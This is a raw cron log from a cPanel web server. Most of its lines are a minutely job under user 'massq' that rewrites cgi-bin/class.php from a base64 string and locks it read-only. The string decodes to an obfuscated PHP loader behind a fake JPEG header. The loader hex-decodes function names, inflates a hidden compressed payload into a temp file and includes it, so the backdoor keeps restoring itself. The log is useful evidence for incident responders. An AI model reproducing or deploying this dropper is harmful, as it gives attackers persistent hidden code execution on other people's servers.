Sep  9 17:01:01 server run-parts(/etc/cron.hourly)[26101]: finished 0anacron
Sep  9 17:02:01 server CROND[26472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:02:01 server CROND[26473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:02:01 server CROND[26474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:03:01 server CROND[26840]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:03:01 server CROND[26839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:03:01 server CROND[26841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:04:01 server CROND[27213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:04:01 server CROND[27214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:04:01 server CROND[27215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:05:01 server CROND[27590]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  9 17:05:01 server CROND[27591]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:05:01 server CROND[27593]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 17:05:01 server CROND[27596]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 17:05:01 server CROND[27598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:05:01 server CROND[27597]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 17:05:01 server CROND[27600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:05:01 server CROND[27595]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:05:01 server CROND[27599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:06:01 server CROND[28535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:06:01 server CROND[28536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:06:01 server CROND[28537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:07:01 server CROND[28898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:07:01 server CROND[28899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:07:01 server CROND[28900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:08:01 server CROND[29266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:08:01 server CROND[29267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:08:01 server CROND[29268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:09:01 server CROND[29636]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 17:09:01 server CROND[29637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:09:01 server CROND[29635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:09:01 server CROND[29638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:10:01 server CROND[30012]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 17:10:01 server CROND[30014]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 17:10:01 server CROND[30013]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:10:01 server CROND[30021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:10:01 server CROND[30027]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 17:10:01 server CROND[30030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:10:01 server CROND[30029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:10:01 server CROND[30028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:11:01 server CROND[30926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:11:01 server CROND[30927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:11:01 server CROND[30928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:12:01 server CROND[31287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:12:01 server CROND[31288]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 17:12:01 server CROND[31289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:12:01 server CROND[31290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:13:01 server CROND[31700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:13:01 server CROND[31699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:13:01 server CROND[31701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
